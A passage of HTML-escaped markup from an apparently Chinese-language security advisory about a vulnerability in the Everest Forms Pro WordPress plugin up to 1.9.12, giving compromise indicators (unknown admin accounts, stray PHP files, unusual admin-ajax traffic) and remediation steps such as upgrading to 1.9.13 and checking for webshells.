leaf=&quot;&quot;&gt;“我只是做个简单表单”&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;却忘记自己曾启用复杂计算。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原因 3：修复早，但技术细节最近才公开&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者往往等待：&lt;/span&gt;&lt;/p&gt;&lt;blockquote style=&quot;margin: 0px 0px 1rem;padding: 0px 1em;color: rgb(89, 99, 110);border-left: 0.25em solid rgb(209, 217, 224);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;p style=&quot;font-size: 1em;margin: 0px 1em;padding: 0px;font-weight: normal;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;PoC 出现 → 自动化利用 → 批量扫描&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;因此现在才是真正危险阶段。&lt;/span&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如何检查自己是否已经中招？&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;建议立即检查：&lt;/span&gt;&lt;/p&gt;&lt;h2 style=&quot;font-size: 1.5em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;line-height: 1.25;border-bottom: 1px solid rgba(209, 217, 224, 0.7);color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1. 查看插件版本&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;≤ 1.9.12&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;立即升级。&lt;/span&gt;&lt;/p&gt;&lt;h2 style=&quot;font-size: 1.5em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;line-height: 1.25;border-bottom: 1px solid rgba(209, 217, 224, 0.7);color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2. 查看管理员账户&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;检查是否出现：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;不认识的新管理员&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;奇怪用户名&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;最近创建账号&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 style=&quot;font-size: 1.5em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;line-height: 1.25;border-bottom: 1px solid rgba(209, 217, 224, 0.7);color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3. 检查异常 PHP 文件&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;重点查看：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;wp-content/uploads/&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;themes/&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;plugins/&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;是否出现：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;随机命名 php 文件&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;新增可疑目录&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 style=&quot;font-size: 1.5em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;line-height: 1.25;border-bottom: 1px solid rgba(209, 217, 224, 0.7);color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4. 查看日志&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;关注：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;异常 POST 请求&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;大量表单提交&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;admin-ajax 请求暴增&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;立即处置建议&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;建议按照优先级处理：&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;第一优先级&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;升级到：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Everest Forms Pro 1.9.13+&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;第二优先级&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;禁用复杂计算功能（如果不需要）&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;第三优先级&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;检查：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;管理员账户&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;上传目录&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;WebShell&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span 